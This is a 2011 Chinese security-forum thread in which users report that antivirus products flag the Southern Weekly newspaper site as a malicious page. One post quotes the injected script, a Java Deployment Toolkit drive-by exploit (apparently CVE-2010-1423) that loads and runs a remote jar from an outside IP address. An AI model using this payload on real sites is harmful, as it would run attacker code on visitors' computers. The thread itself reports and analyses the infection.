avast报南方周末了[挂马][已检测 by 是昔流芳]

显示全部楼层 · 发表于 2011-3-26 12:50:48

本帖最后由是昔流芳于 2011-3-26 18:07 编辑

南方周末

显示全部楼层 · 发表于 2011-3-26 14:06:21

G DATA也报了

显示全部楼层 · 发表于 2011-3-26 14:46:09

哦，我上着挺好的

显示全部楼层 · 发表于 2011-3-26 14:58:12

该死的南方系报死他,

显示全部楼层 · 发表于 2011-3-26 18:03:49

<div id=loveni style='display:none'>
            if (window["navigator"]["appName"] == "Microsoft Internet Explorer") {
         var HAUH1 = window["document"]["createElement"]("OBJECT");
         HAUH1["classid"] = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
         HAUH1["launch"](u);
      } else {
         var l2 = window["document"]["createElement"]("OBJECT");
         var XqtpS3 = window["document"]["createElement"]("OBJECT");
         l2["type"] = "application/npruntime-scriptable-plugin;deploymenttoolkit";
         XqtpS3["type"] = "application/java-deployment-toolkit";
         window["document"]["body"]["appendChild"](l2);
         window["document"]["body"]["appendChild"](XqtpS3);
         try {
            l2["launch"](u);
         } catch (e) {
            XqtpS3["launch"](u);
         }
      }
</div>
<img src=# onerror="document.write('<script>var u=\'http: -J-jar -J\\\\\\\\180.178.42.246\\\\java\\\\hello.jar none\';<\/script><script>'+loveni.innerHTML+'<\/script>')"></img>

CVE-2010-1423吗?

显示全部楼层 · 发表于 2011-3-26 18:17:34

好像已经正常了

显示全部楼层 · 发表于 2011-3-27 20:48:47

刚才访问
表示没有报警

显示全部楼层 · 发表于 2011-3-28 23:31:30

南方系和北方系让人纠结

显示全部楼层 · 发表于 2011-3-29 17:25:18

现在没事了，小a不报了

[其它] avast报南方周末了[挂马][已检测 by 是昔流芳]

评分